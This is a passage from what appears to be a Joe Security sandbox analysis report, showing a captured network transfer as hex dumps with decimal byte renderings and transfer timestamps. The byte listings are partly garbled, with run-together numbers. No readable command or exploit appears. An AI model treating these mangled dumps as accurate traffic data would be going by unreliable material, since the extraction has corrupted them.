Data Raw: 39 20 31 31 39 20 36 39 20 39 33 20 35 31 20 34 38 20 35 32 20 34 36 20 31 32 31 20 31 32 33 20 38 33 20
313237 20 31 31 33 20 37 33 20 31 38 31 20 35 30 20 35 34 20 38 30 20 38 38 20 31 32 36 20 37 30 20 31 33 33 20 35
30 20 34 38 20 35 30 20 34 35 20 31 30 30 20 31 31 36 20 31 31 37 20 36 30 20 31 31 37 20 35 30 20 34 38 20 37 39 20
3534 20 38 34 20 39 39 20 31 31 20 32 35 20 31 31 32 20 35 30 20 35 32 20 34 30 20 32 37 20 39 34 20 38 34 20 31 30
3020 31 30 3320 38 38 20 31 38 37 20 34 38 20 35 30 20 36 30 20 31 32 37 20 31 31 38 20 31 30 32 20 31 30 33 20 39
3120 3139332037 3820 36 3520 3534 2038 34 20 31 31 38 20 31 31 39 20 32 20 32 20 35 31 20 34 38 20 35 36 20
37 322033 392031313420313137203130352031 313520393320

Data Ascii: 9 119 69 93 51 48 52 46 121 123 83 127 113 73 181 50 54 80 88 126 70 133 50 48 50 45 100 116 117 60 117
5048 79 54 84 99 11 25 112 50 52 40 27 94 84 100 103 88 187 48 50 60 127 118 102 103 91 193 78 65 54 84 118 119 2
25148567239 114 117 105 115 93

Data Raw: 31 20 32 35 20 31 31 32 20 35 30 20 35 32 20 33 37 20 33 33 20 33 39 20 32 35 35 20 31 31 36 20 31 30 39
2031323220 33 33 20 35 37 20 33 35 20 36 33 20 39 32 20 31 30 31 20 31 32 35 20 32 32 37 20 31 39 39 20 33 37 20
3130 35 20 39 33 20 31 38 34 20 38 35 20 31 31 34 20 31 32 37 20 31 32 34 20 31 32 31 20 39 33 20 37 33 20 35 30 20
3534203934 20 31 3220 31 20 31 30 39 20 31 31 32 20 35 34 20 39 35 20 31 38 35 20 35 35 20 38 34 20 31 32 30 20
313231203139 2034 20 3530 20 34 38 20 35 34 20 33 32 20 36 32 20 32 39 20 32 34 39 20 31 30 38 20 31 31 32 20
3536 20 32 37 20 35 34 20 36 32 20 36 36 20 31 30 30 20 32 33 33 20 31 39 20 37 20 35 30 20 34 38 20 35 34 20 36 32
2036 36 20 31 32 3220 32 35 31 20 32 31 38 20 33 31 20 32 33 32 20 34 38

Data Ascii: 1 25 112 50 52 37 33 39 255 116 109 122 33 57 35 63 92 101 125 227 199 37 105 93 184 85 114 127 124 121
9373505494121 109 112 54 95 185 55 84 120 121 19 4 50 48 54 32 62 29 249 108 112 56 27 54 62 66 100 233 19 7
50 48 54 62 66 122 251 218 31 232 48

Data Raw: 35 30 20 35 34 20 38 35 20 32 39 20 34 36 20 31 30 39 20 31 31 32 20 35 36 20 32 37 20 31 30 35 20 37 32
20333320 31 31 34 20 31 31 37 20 31 30 35 20 39 38 20 36 33 20 37 38 20 36 37 20 35 34 20 38 34 20 31 31 38 20 32
36 20 31 36 34 20 31 31 32 20 35 30 20 35 38 20 37 36 20 37 31 20 38 34 20 31 31 34 20 31 31 33 20 32 20 31 38 35 20
3530 20 34 38 20 35 36 20 37 32 20 33 37 20 31 31 34 20 31 31 37 20 31 30 35 20 33 31 20 32 35 31 20 34 38 20 35 30
20 36 30 20 34 32 20 33 20 31 31 37 20 31 30 39 20 31 31 36 20 39 33 20 32 34 39 20 35 30 20 35 34 20 39 34 20 39 30
2032 31 3320 31 30 38 20 31 31 32 20 35 36 20 33 33 20 36 33 20 31 38 36 20 31 30 36 20 31 31 34 20 31 31 37 20 31
30 38 20 33 31 20 31 30 35 20 34 38 20 35 30 20 36 30 20 31 32 37 20 31 30

Data Ascii: 50 54 85 29 46 109 112 56 27 105 72 33 114 117 105 98 63 78 67 54 84 118 26 164 112 50 58 76 71 84 114
1132185504856 72 37 114 117 105 31 251 48 50 60 42 3 117 109 116 93 249 50 54 94 90 213 108 112 56 33 63 186 1
06 114 117 108 31 105 48 50 60 127 10

Data Raw: 31 31 33 20 35 30 20 35 34 20 37 35 20 31 33 38 20 38 34 20 31 31 34 20 31 31 36 20 32 38 20 32 30 34 20
353020 34 38 20 35 31 20 32 38 20 37 31 20 36 36 20 31 31 39 20 31 30 39 20 38 30 20 35 30 20 34 38 20 35 30 20 36
312038 34 20 31 31 34 20 31 30 30 20 37 37 20 32 33 36 20 33 31 20 32 32 34 20 34 34 20 33 30 20 31 37 31 20 31 31
342031313720 31 303720 31 30 32 20 31 39 30 20 31 36 20 35 30 20 35 34 20 38 35 20 39 30 20 33 38 20 31 30 38
20 31 31 32 20 35 32 20 37 33 20 31 38 20 35 34 20 38 34 20 31 31 35 20 34 20 37 37 20 31 31 32 20 35 30 20 34 39 20
323420 33 37 20 31 30 30 20 31 31 32 20 31 31 37 20 37 37 20 31 31 32 20 35 30 20 34 38 20 35 37 20 35 34 20 38 34
20 39 39 20 38 35 20 32 32 30 20 39 33 20 32 32 36 20 34 36 20 32 36 20 32

Data Ascii: 113 50 54 75 138 84 114 116 28 204 50 48 51 28 71 66 119 109 80 50 48 50 61 84 114 100 77 236 31 224 44
30171 114 117 107 102 190 16 50 54 85 90 38 108 112 52 73 18 54 84 115 4 77 112 50 49 24 37 100 112 117 77 112 50
48 57 54 84 99 85 220 93 226 46 26 2

Data Raw: 20 31 31 37 20 31 30 39 20 31 31 33 20 32 34 20 33 35 20 32 20 35 30 20 38 34 20 37 31 20 31 31 37 20 31
30 39 20 31 31 32 20 31 38 33 20 34 38 20 35 30 20 33 39 20 34 32 20 36 34 20 31 31 37 20 31 30 39 20 31 31 36 20 34
38 20 34 31 20 34 33 20 32 37 20 39 34 20 38 34 20 32 36 20 32 32 35 20 31 31 32 20 35 30 20 35 38 20 33 30 20 34 37
203132372031 31 33 20 38 33 20 37 30 20 31 33 32 20 37 36 20 32 20 35 30 20 35 34 20 38 30 20 31 31 32 20 39 39
20 31 32 33 20 39 32 20 35 33 20 32 32 20 39 33 20 31 38 37 20 38 34 20 31 31 34 20 31 32 37 20 37 31 20 38 36 20 32
3520 31 39 39 20 34 39 20 34 34 20 37 32 20 39 35 20 31 31 39 20 37 35 20 39 30 20 32 30 20 32 37 20 32 30 36 20 35
34 20 38 34 20 31 31 34 20 31 31 38 20 39 33 20 31 32 32 20 35 30 20 36 33

Data Ascii: 117 109 113 24 35250 84 71 117 109 112 183 48 50 39 42 64 117 109 116 48 41 43 27 94 84 26 225 112 50
583047 127 11383 70 132 76 2 50 54 80 112 99 123 92 53 22 93 187 84 114 127 71 86 25 199 49 44 72 95 119 75 90
20 27 206 54 84 114 118 93 122 50 63

Data Raw: 20 31 30 36 20 31 38 37 20 31 31 38 20 31 31 34 20 31 31 37 20 31 30 38 20 31 30 34 20 33 31 20 33 36 20
323020 36 39 20 31 34 37 20 31 31 35 20 31 31 37 20 31 30 33 20 31 30 36 20 33 31 20 36 32 20 32 30 20 35 32 20 36
36 20 32 34 20 32 36 20 35 39 20 31 31 33 20 35 30 20 35 38 20 32 35 20 34 38 20 39 34 20 38 39 20 31 35 39 20 31 30
322039312031 39 34 20 35 34 20 31 38 38 20 31 32 39 20 36 32 20 31 31 38 20 31 32 34 20 35 32 20 38 38 20 36 39
20 34 38 20 35 30 20 36 30 20 36 31 20 31 30 35 20 38 38 20 37 34 20 38 36 20 34 38 20 35 34 20 33 36 20 33 39 20 38
3120 32 39 20 34 31 20 31 30 38 20 31 31 32 20 35 36 20 33 35 20 35 34 20 34 39 20 38 32 20 31 30 30 20 31 30 30 20
31 30 3520 31 30 30 20 33 36 20 39 35 20 32 34 38 20 35 35 20 38 34 20 31

Data Ascii: 106 187 118 114 117 108 104 31 36 20 69 147 115 117 103 106 31 62 20 52 66 24 26 59 113 50 58 25 48 94
89 159 102 91 194 54 188 129 62 118 124 52 88 69 48 50 60 61 105 88 74 86 48 54 36 39 81 29 41 108 112 56 35 54 49
82 100 100 105 100 36 95 248 55 84 1

Page 65 of 118



kBytes
Timestamp transferred

2021-09-27 18:27:44 UTC 1816

2021-09-27 18:27:44 UTC 1819

2021-09-27 18:27:44 UTC 1824

2021-09-27 18:27:44 UTC 1828

2021-09-27 18:27:44 UTC 1832

2021-09-27 18:27:44 UTC 1836

2021-09-27 18:27:44 UTC 1840

2021-09-27 18:27:44 UTC 1844

Copyright Joe Security LLC 2021
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Data Raw: 20 31 31 32 20 31 34 20 32 34 36 20 31 31 32 20 35 30 20 35 32 20 34 39 20 33 30 20 32 30 39 20 31 31 34
203131 37 20 31 30 33 20 34 20 31 31 35 20 34 38 20 35 30 20 35 32 20 37 39 20 39 35 20 31 31 38 20 37 35 20 38 36
20 32 34 20 37 37 20 31 36 39 20 35 34 20 38 34 20 31 31 38 20 39 34 20 31 34 39 20 31 31 32 20 34 39 20 30 20 35 39
2035342037 35203131342031313720313039 2031313220 353020 34 38 20 35 30 20 35 32 20 38 36 20 39
2032 333820313039 20313132203534203531 203236203137 362038342031313420313237203235
2034 392035302034 38 2034 382034 372031 3231 2031 31 332038332037 3520393020373920313731
20 35 30 20 35 34 20 38 30 20 38 39 20 31 34 31 20 31 30 39 20 39 39 20 32

Data Ascii: 112 14 246 112 50 52 49 30 209 114 117 103 4 115 48 50 52 79 95 118 75 86 24 77 169 54 84 118 94 149
1124905954 75114 117 109 112 50 48 50 52 86 9 238 109 112 54 51 26 176 84 114 127 25 49 50 48 48 47 121 113 83
7590 79 171 50 54 80 89 141 109 99 2

Data Raw: 31 37 20 39 38 20 31 31 32 20 35 30 20 34 38 20 31 36 30 20 35 34 20 38 34 20 39 39 20 31 31 39 20 31 32
322031 30 36 20 33 31 20 35 35 20 32 30 20 37 37 20 32 34 38 20 31 31 34 20 31 31 37 20 31 30 35 20 39 30 20 32 30
2032 37 20 31 39 37 20 35 34 20 38 37 20 36 36 20 31 32 34 20 31 30 39 20 31 32 37 20 35 30 20 34 38 20 35 30 20 35
3420383420313134203131372031313120313135203431203239203439203136203131342023838
203820 3139332031 313220353020 35322032 3520323036 20 38 34 20 31 31 33 20 36 39 20 31 30 34 20 31
313220 36 32 20 34 39 20 35 30 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 34 20 34 30 20 31 38
3920 31 36 20 35 34 20 38 34 20 31 31 3520 31 31 31 20 38 37 20 31 34 35

Data Ascii: 17 98 112 50 48 160 54 84 99 119 122 106 31 55 20 77 248 114 117 105 90 20 27 197 54 87 66 124 109 127
50485054 84 114 117 111 115 41 29 49 16 114 88 8 193 112 50 52 25 206 84 113 69 104 112 62 49 50 54 84 114 117 1
09 114 40 189 16 54 84 115 111 87 145

Data Raw: 39 20 33 31 20 35 34 20 32 30 20 32 39 20 31 31 39 20 31 32 31 20 39 34 20 31 35 34 20 31 32 32 20 32 35
20 3230 30 20 34 38 20 37 37 20 32 35 32 20 31 31 34 20 31 31 37 20 31 30 35 20 39 33 20 35 31 20 32 36 20 34 35 20
3334 20 313234 20 31 37 32 20 31 31 37 20 31 30 39 20 31 32 32 20 35 32 20 34 37 20 33 38 20 31 31 30 20 36 37 20
393520 3131382037 352039 31 20 34 39 20 35 38 20 32 35 20 35 34 20 38 32 20 31 31 37 20 36 38 20 31 37 38 20
3131342037332031 353220353020 35342038302039342031313520313131203331203134352034
3920 35302034 382031 323620313134203131372031313820363420353420343820313633203534
2038 34 20 31 31 34 20 32 33 37 20 31 30 39 20 31 31 32 20 33 35 20 35 30

Data Ascii: 9 31 54 20 29 119 121 94 154 122 25 200 48 77 252 114 117 105 93 51 26 45 34 124 172 117 109 122 52 47
38110 67 95 118 75 91 49 58 25 54 82 117 68 178 114 73 152 50 54 80 94 115 111 31 145 49 50 48 126 114 117 118 64
54 48 163 54 84 114 237 109 112 35 50

Data Raw: 31 20 35 31 20 34 38 20 35 36 20 35 38 20 39 32 20 31 31 32 20 31 34 20 32 34 33 20 31 31 32 20 35 30 20
353220 33 20 32 38 20 38 36 20 39 20 32 33 38 20 31 30 39 20 31 31 32 20 35 34 20 33 35 20 35 34 20 33 39 20 38 30
2039 34 20 39 38 20 31 32 34 20 31 31 36 20 34 38 20 31 36 20 36 32 20 36 20 31 33 32 20 31 30 38 20 39 33 20 31 34
36 20 31 31 32 20 35 30 20 35 34 20 36 35 20 36 36 20 38 34 20 31 31 34 20 31 32 37 20 32 20 31 38 38 20 35 31 20 34
3820 353220353220 353920323039 2031313620 31303920 3131382032 34 20 35 36 20 33 36 20 36 20 31
32362031 31322031 34 20 32 34 36 20 31 31 32 20 35 30 20 35 32 20 33 33 20 35 30 20 36 39 20 31 31 38 20 38 39
2031 32 322039 37 20 35 34 20 35 30 20 31 38 20 32 32 35 20 31 30 31 20

Data Ascii: 1 51 48 56 58 92 112 14 243 112 50 52 3 28 86 9 238 109 112 54 35 54 39 80 94 98 124 116 48 16 62 6 132
108 93 146 112 50 54 65 66 84 114 127 2 188 51 48 52 52 59 209 116 109 118 24 56 36 6 126 112 14 246 112 50 52 33
50 69 118 89 122 97 54 50 18 225 101

Data Raw: 32 20 35 30 20 34 39 20 33 39 20 32 37 20 37 35 20 38 34 20 31 32 34 20 31 32 33 20 31 31 35 20 39 33 20
36 20 35 30 20 35 34 20 39 34 20 31 30 30 20 39 33 20 31 35 38 20 31 31 33 20 35 30 20 35 38 20 31 37 32 20 36 33 20
37 36 20 39 35 20 31 32 33 20 37 35 20 38 36 20 35 33 20 32 36 20 37 39 20 31 33 36 20 38 34 20 31 31 34 20 31 31 33
20 37 30 20 31 36 36 20 36 33 20 32 37 20 32 33 37 20 37 35 20 32 33 35 20 31 31 34 20 31 31 37 20 31 30 35 20 39 31
20 32 32 33 20 34 38 20 35 30 20 35 34 20 37 31 20 36 36 20 31 31 39 20 31 30 39 20 36 34 20 35 30 20 34 38 20 35 30
20 31 3530 20 38 34 20 31 31 34 20 31 30 30 20 39 38 20 31 31 33 20 37 33 20 32 34 32 20 35 30 20 35 34 20 38 30 20
31303120 39 31 20 31 30 37 20 31 34 20 32 32 36 20 34 39 20 35 30 20 36

Data Ascii: 2 50 49 39 27 75 84 124 123 115 93 6 50 54 94 100 93 158 113 50 58 172 63 76 95 123 75 86 53 26 79 136 84
114 113 70 166 63 27 237 75 235114 117 105 91 223 48 50 54 71 66 119 109 64 50 48 50 150 84 114 100 98 113 73 242
50 54 80 101 91 107 14 226 49 50 6

Data Raw: 20 32 31 33 20 36 35 20 39 39 20 36 32 20 33 38 20 34 36 20 31 33 32 20 37 36 20 31 37 34 20 31 32 35 20
3133342031 37 342032 3330203139 31 20 31 39 36 20 31 33 35 20 32 32 31 20 33 31 20 39 33 20 33 30 20 31 32
3120 35 36 20 31 38 30 20 31 35 30 20 32 30 32 20 36 38 20 38 30 20 31 36 34 20 31 33 20 31 30 30 20 32 35 34 20 32
34 3920 32 30 32 20 32 31 32 20 31 33 37 20 31 32 35 20 31 34 33 20 31 34 35 20 31 34 30 20 31 32 20 31 37 34 20 39
352032 30 34 20 31 30 33 20 33 20 31 31 33 20 32 31 38 20 31 32 31 20 32 33 35 20 32 30 39 20 36 36 20 32 34 38 20
3331 20 31 36 32 20 32 35 33 20 31 37 39 20 32 31 30 20 31 33 30 20 38 33 20 31 38 30 20 37 32 20 33 33 20 32 34 34
20 31 36 32 20 34 3220 37 31 20 31 32 36 20 32 33 35 20 31 31 34 20 31 32

Data Ascii: 213 65 99 62 38 46 132 76 174 125 134 174 230 191 196 135 221 31 93 30 121 56 180 150 202 68 80 164 13
100 254 249 202 212 137 125 143 145 140 12 174 95 204 103 3 113 218 121 235 209 66 248 31 162 253 179 210 130 83
180 72 33 244 162 42 71 126 235 114 12

Data Raw: 36 32 20 31 31 31 20 31 31 36 20 38 34 20 39 34 20 36 34 20 33 31 20 32 30 35 20 32 31 34 20 31 31 36 20
3139 33 20 31 30 32 20 37 35 20 32 35 33 20 32 30 33 20 38 33 20 34 33 20 31 31 37 20 32 30 38 20 34 37 20 32 33 39
2031 37 3520 32 32 36 20 31 36 20 31 32 20 33 39 20 37 39 20 32 30 32 20 35 37 20 31 31 33 20 31 32 33 20 31 34 31
20 31 34 39 20 38 34 20 31 36 37 20 31 38 20 31 37 37 20 32 34 35 20 32 35 30 20 35 39 20 31 34 37 20 39 36 20 39 35
20 32 32 37 20 36 20 37 32 20 32 30 20 31 31 39 20 31 30 31 20 31 32 31 20 31 33 37 20 32 34 37 20 34 20 32 34 32 20
3132 30 20 36 31 20 31 39 32 20 34 37 20 31 30 35 20 32 32 33 20 31 34 31 20 32 32 34 20 31 37 20 31 31 33 20 32 32
32 20 31 35 37 20 36 35 20 34 30 20 32 30 32 20 36 34 20 32 34 32 20 36 33

Data Ascii: 62 111 116 84 94 64 31 205 214 116 193 102 75 253 203 83 43 117 208 47 239 175 226 16 12 39 79 202 57
113 123 141 149 84 167 18 177 245 250 59 147 96 95 227 6 72 20 119 101 121 137 247 4 242 120 61 192 47 105 223
141 224 17 113 222 157 65 40 202 64 242 63

Data Raw: 32 31 36 20 31 35 32 20 32 38 20 31 31 30 20 32 35 31 20 33 36 20 31 36 32 20 31 38 36 20 32 31 39 20 31

34 39 20 31 35 30 20 32 35 34 20 31 30 35 20 32 32 35 20 32 33 38 20 32 31 20 33 35 20 31 34 31 20 35 31 20 32 31 30
2032 31 31 20 32 32 32 20 35 38 20 32 31 35 20 32 32 35 20 31 31 20 31 37 31 20 37 36 20 31 34 20 31 31 35 20 31 38
31 20 39 32 20 35 35 20 31 33 37 20 31 30 30 20 31 33 39 20 32 34 37 20 31 30 34 20 32 34 34 20 35 33 20 31 35 38 20
31 39 39 20 31 30 39 20 32 33 32 20 31 39 31 20 31 30 35 20 31 34 34 20 37 37 20 32 36 20 32 30 38 20 31 31 33 20 32
323120 313238203137 3120 32 31 34 20 32 33 31 20 31 34 20 32 34 37 20 32 30 20 31 31 36 20 31 33 37 20 32 34
37 20 31 39 34 20 31 35 38 20 34 32 20 31 33 35 20 31 35 33 20 34 33 20 32

Data Ascii: 216 152 28 110 251 36 162 186 219 149 150 254 105 225 238 21 35 141 51 210 211 222 58 215 225 11 171 76
14 115 181 92 55 137 100 139 247 104 244 53 158 199 109 232 191 105 144 77 26 208 113 221 128 171 214 231 14 247
20 116 137 247 194 158 42 135 153 43 2
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Data Raw: 31 39 34 20 33 37 20 31 39 32 20 31 39 30 20 32 34 20 34 38 20 32 30 32 20 32 30 36 20 39 36 20 31 33 20
31303920 31 37 34 20 31 34 39 20 34 36 20 31 36 20 31 33 33 20 31 38 20 33 39 20 32 33 38 20 37 38 20 38 20 37 35
20 34 39 20 35 20 32 31 20 32 30 33 20 32 33 30 20 32 30 32 20 36 32 20 31 38 37 20 31 39 32 20 36 38 20 31 38 35 20
36 20 36 34 20 36 33 20 31 33 32 20 31 30 39 20 31 34 31 20 31 34 39 20 32 33 32 20 32 31 34 20 32 31 38 20 32 33 32
2034 39203132332031333720313131203133372032343720313933203235352031383420323136
203138332033312031313320323338203133322033342031323520373720323431203235302031
33382032 3130203139 33203132342033322039 372037332031

Data Ascii: 194 37 192 190 24 48 202 206 96 13 109 174 149 46 16 133 18 39 238 78 8 75 49 5 21 203 230 202 62 187
192 68 185 6 64 63 132 109 141 149 232 214 218 232 49 123 137 111 137 247 193 255 184 216 183 31 113 238 132 34
12577 241 250 138 210 193 1243297 73 1

Data Raw: 34 20 31 36 39 20 31 31 33 20 35 32 20 31 31 32 20 35 32 20 34 38 20 32 31 34 20 35 30 20 31 36 39 20 31
313820 31 31 35 20 31 30 39 20 39 36 20 35 35 20 32 30 35 20 35 34 20 34 38 20 38 34 20 39 30 20 31 31 32 20 31 34
3420 31 31 36 20 33 32 20 34 38 20 31 31 39 20 35 31 20 31 36 39 20 31 31 38 20 31 30 33 20 31 30 39 20 36 31 20 35
3520 32 3035 20 35 34 20 33 36 20 38 34 20 34 34 20 31 31 32 20 31 34 34 20 31 31 36 20 35 32 20 34 38 20 36 37 20
353120313639 2031 3138203131352031 3039 20 31 3220 35 35 20 32 30 35 20 35 34 20 34 38 20 38 34 20 32
343520313132203532203131322034302034382031383820353120353720313134203131312031
30 39 20 32 33 32 20 35 35 20 39 33 20 35 30 20 34 38 20 38 34 20 32 33 39

Data Ascii: 4 169 113 52 112 52 48 214 50 169 118 115 109 96 55 205 54 48 84 90 112 144 116 32 48 119 51 169 118
103 109 61 55 205 54 36 84 44 112 144 116 52 48 67 51 169 118 115 109 12 55 205 54 48 84 245 112 52 112 40 48 188
5157 114 111 109 232 55 93 50 48 84 239

Data Raw: 20 31 39 38 20 31 30 30 20 31 30 39 20 31 31 32 20 32 35 31 20 34 39 20 32 34 20 35 34 20 39 20 31 31 34
20313137 20 31 30 38 20 31 31 32 20 35 30 20 32 32 34 20 33 35 20 35 34 20 38 34 20 31 38 37 20 31 31 36 20 33 34
20 31 31 32 20 32 34 36 20 34 38 20 35 36 20 35 35 20 38 34 20 31 31 34 20 31 35 33 20 31 32 34 20 31 31 32 20 35 30
203537 2034 39 20 31 32 31 20 38 34 20 31 36 34 20 31 31 37 20 31 30 39 20 31 31 33 20 35 30 20 34 38 20 35 38 20
3336 20 38 34 20 31 31 34 20 31 38 38 20 31 30 38 20 33 37 20 35 30 20 32 33 30 20 35 30 20 31 38 32 20 38 35 20 39
382031 31372038 3520 39 38 20 3530 20 34 38 20 32 35 31 20 35 35 20 31 20 31 31 34 20 31 35 30 20 31 30 39 20
3131 352035312033 322035302039 3420373020313134203131

Data Ascii: 198 100 109 112 251 49 24 54 9 114 117 108 112 50 224 35 54 84 187 116 34 112 246 48 56 55 84 114 153
124 112 50 57 49 121 84 164 117 109 113 50 48 58 36 84 114 188 108 37 50 230 50 182 85 98 117 85 98 50 48 251 55 1
114 150 109 11551 325094 70 114 11

Data Raw: 20 39 32 20 31 33 20 31 35 33 20 34 39 20 34 39 20 35 30 20 32 32 37 20 35 35 20 32 34 35 20 31 31 36 20
31303820 31 31 32 20 35 35 20 38 34 20 31 38 31 20 35 35 20 38 32 20 31 31 34 20 31 37 36 20 39 20 31 38 33 20 35
30 20 33 33 20 35 30 20 36 37 20 34 39 20 31 30 32 20 31 31 33 20 31 32 34 20 31 31 32 20 31 35 31 20 38 35 20 34 33
2035302036 39 20 31 31 34 20 31 36 30 20 38 20 31 32 37 20 35 31 20 33 33 20 35 30 20 35 31 20 35 30 20 31 30 38
203131332031323420313132203720383620313831203535203639203131342031362031312031
3237 20 35312033 33 20 3530 20 31 36 33 20 35 30 20 32 34 35 20 31 31 36 20 31 32 34 20 31 31 32 20 32 34 37 20
38 36 20 31 38 31 20 35 35 20 36 39 20 31 31 34 20 31 32 38 20 31 31 20 38

Data Ascii: 92 13 153 49 49 50 227 55 245 116 108 112 55 84 181 55 82 114 176 9 183 50 33 50 67 49 102 113 124 112
15185435069 114 160 8 127 51 33 50 51 50 108 113 124 112 7 86 181 55 69 114 16 11 127 51 33 50 163 50 245 116
124 112 247 86 181 5569 114 128 11 8

Data Raw: 32 30 30 20 31 31 37 20 39 39 20 31 31 32 20 39 34 20 32 36 20 35 30 20 35 34 20 38 34 20 31 31 34 20 39
392031 30 39 20 31 35 33 20 34 35 20 31 31 36 20 35 30 20 35 37 20 38 34 20 32 34 36 20 39 3520 31 30 39 20 31 31
32 20 35 30 20 34 38 20 35 32 20 34 36 20 31 36 37 20 31 30 34 20 31 38 20 31 30 39 20 31 32 37 20 35 30 20 31 34 34
20 32 34 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20 31 30 37 20 31 31 32 20 39 35 20 31 36 20 32 34 39 20 35 34 20
39 3120 31 31 34 20 31 37 33 20 37 31 20 31 31 32 20 35 30 20 34 38 20 35 30 20 31 36 30 20 38 34 20 31 37 35 20 38
3520 31 38 34 20 31 31 32 20 33 32 20 34 38 20 39 34 20 32 39 20 38 34 20 31 31 34 20 31 31 37 20 31 30 3920 31 31
38 20 34 32 20 31 39 35 20 34 30 20 32 33 32 20 38 34 20 31 30 32 20 31 31

Data Ascii: 200 117 99 112 94 26 50 54 84 114 99 109 153 45 116 50 57 84 246 95 109 112 50 48 52 46 167 104 18 109
127 50 144 24 54 84 114 117 107 112 95 16 249 54 91 114 173 71 112 50 48 50 160 84 175 85 184 112 32 48 94 29 84 11
4117 109 118 42 195 40 232 84 102 11

Data Raw: 34 20 32 32 30 20 35 39 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 33 33 20 35 30 20 31 34 37 20 31
303420 35 34 20 31 31 37 20 35 35 20 31 31 32 20 31 37 30 20 31 32 31 20 35 30 20 35 34 20 38 34 20 31 31 34 20 31
30 30 20 31 30 39 20 31 35 33 20 31 34 20 31 31 36 20 35 30 20 31 30 38 20 38 34 20 31 36 36 20 36 33 20 31 30 39 20
31 313220 35 30 20 34 38 20 33 35 20 35 34 20 31 32 31 20 37 39 20 34 39 20 31 30 39 20 34 32 20 35 30 20 32 34 20
3132 3120 3534 20 38 34 20 31 31 34 20 31 31 37 20 31 32 34 20 31 31 32 20 36 37 20 31 33 20 31 31 38 20 35 34 20
3134 20 31 31 34 20 34 35 20 33 38 20 31 31 32 20 35 30 20 34 38 20 35 30 20 33 39 20 38 34 20 31 39 39 20 37 32 20
38 31 20 31 31 34 20 31 30 34 20 34 38 20 31 35 34 20 31 32 35 20 38 34 20

Data Ascii: 4 220 59 117 109 112 50 33 50 147 104 54 117 55 112 170 121 50 54 84 114 100 109 153 14 116 50 108 84
166 63 109 112 50 48 35 54 121 79 49 109 42 50 24 121 54 84 114 117 124 112 67 13 118 54 14 114 45 38 112 50 48 50
3984199 72 81 114 104 48 154 125 84

Data Raw: 35 34 20 38 34 20 31 31 34 20 31 31 37 20 32 33 37 20 31 31 32 20 33 36 20 31 36 20 31 31 20 31 31 30 20
32 3036 20 31 31 33 20 31 36 35 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 35 30 20 31 38 32 20 38 34 20 31 30 30
20 38 35 20 32 32 34 20 34 30 20 31 34 36 20 35 31 20 32 32 34 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39
20 32 34 30 20 35 30 20 33 38 20 31 38 20 32 31 35 20 31 32 20 32 31 32 20 31 31 38 20 31 38 35 20 31 31 32 20 35 30
20 34 38 20 35 30 20 35 34 20 32 31 32 20 31 31 34 20 39 39 20 37 37 20 31 30 35 20 31 30 37 20 31 32 20 34 38 20 32
32 37 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 31 37 38 20 34 38 20 33 36 20 32 32 20 39 37 20 34
3320323239 20 31 31 31 20 31 36 35 20 35 30 20 31 32 30 20 39 34 20 35

Data Ascii: 54 84 114 117 237 112 36 16 11 110 206 113 165 109 112 50 48 50 182 84 100 85 224 40 146 51 224 54 84
114 117 109 24050 38 18 215 12 212 118 185 112 50 48 50 54 212 114 99 77 105 107 12 48 227 84 114 117 109 112 178
48 36 22 97 43 229 111 165 50 120 94 5

Data Raw: 35 33 20 32 35 33 20 31 31 32 20 35 30 20 34 38 20 35 30 20 33 39 20 37 36 20 31 32 32 20 31 31 31 20 34
312031 31 32 20 32 33 20 34 39 20 31 33 30 20 31 36 34 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 30 32 20
35 30 20 31 36 39 20 36 35 20 32 35 30 20 38 30 20 38 37 20 31 31 36 20 31 30 35 20 32 32 37 20 35 30 20 34 38 20 35
30 20 35 34 20 36 36 20 31 31 34 20 31 34 34 20 33 30 20 31 36 32 20 35 34 20 32 32 20 35 31 20 32 36 20 31 39 39 20
31313420 31 31 37 20 31 30 39 20 31 31 32 20 33 36 20 34 38 20 34 37 20 36 36 20 31 34 31 20 31 31 38 20 38 32 20
31 30 38 20 33 32 20 31 36 31 20 34 38 20 35 30 20 35 34 20 38 34 20 31 30 30 20 31 31 37 20 34 20 34 20 32 31 30 20
3532 20 32 36 20 35 35 20 31 35 32 20 32 33 34 20 31 31 37 20 31 30 39 20

Data Ascii: 53 253 112 50 48 50 39 76 122 111 41 112 23 49 130 164 84 114 117 109 102 50 169 65 250 80 87 116 105
22750 48 50 54 66 114 144 30 162 54 22 51 26 199 114 117 109 112 36 48 47 66 141 118 82 108 32 161 48 50 54 84
100 117 4 4 210 52 26 55 152 234 117 109
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Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 34 20 31 31 35 20 31 30 39 20 31 36 38 20 31 36 32 20 31 37 32 20 35 30 20 31 30 39 20 38 35 20 31 38 36
20 3139 36 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 35 32 20 35 34 20 39 32 20 32 32 37 20 32 33 37 20 31 30 38
20 34 33 20 35 31 20 32 30 30 20 31 33 31 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20 31 30 37 20 31 31 32 20 31 30
322031 363120313120 353520382031 31352039 37 20 3232332031 31 3220 35 30 20 34 38 20 35 30 20 34
3820 38 34 20 32 34 36 20 32 32 38 20 36 34 20 31 31 33 20 31 31 30 20 34 39 20 32 20 31 33 3220 38 3420 31 31 34
2031 313720313039 20313138203530203232342031363320313730203834203437203131362033
3320 31 39 34 20 35 30 20 34 38 20 35 30 20 35 34 20 38 32 20 31 31 34 20

Data Ascii: 4 115 109 168 162 172 50 109 85 186 196 109 112 50 48 52 54 92 227 237 108 43 51 200 131 54 84 114 117
107 112 102 161 11 55 8 115 97 223 112 50 48 50 48 84 246 228 64 113 11049 2 132 84 114 117 109 118 50 224 163
170 84 47 116 33 194 50 48 50 54 82 114

Data Raw: 31 30 20 38 30 20 31 33 39 20 31 30 39 20 32 31 38 20 35 31 20 34 38 20 35 30 20 35 34 20 38 34 20 31 31
3320313137 2034332031 3135203234 32203138 203231362034 38 20 32 35 35 20 31 31 35 20 31 31 37 20
313039 20 31 31 32 20 35 30 20 35 31 20 35 30 20 34 38 20 37 36 20 31 32 39 20 31 31 31 20 31 3331 20 31 31 32 20
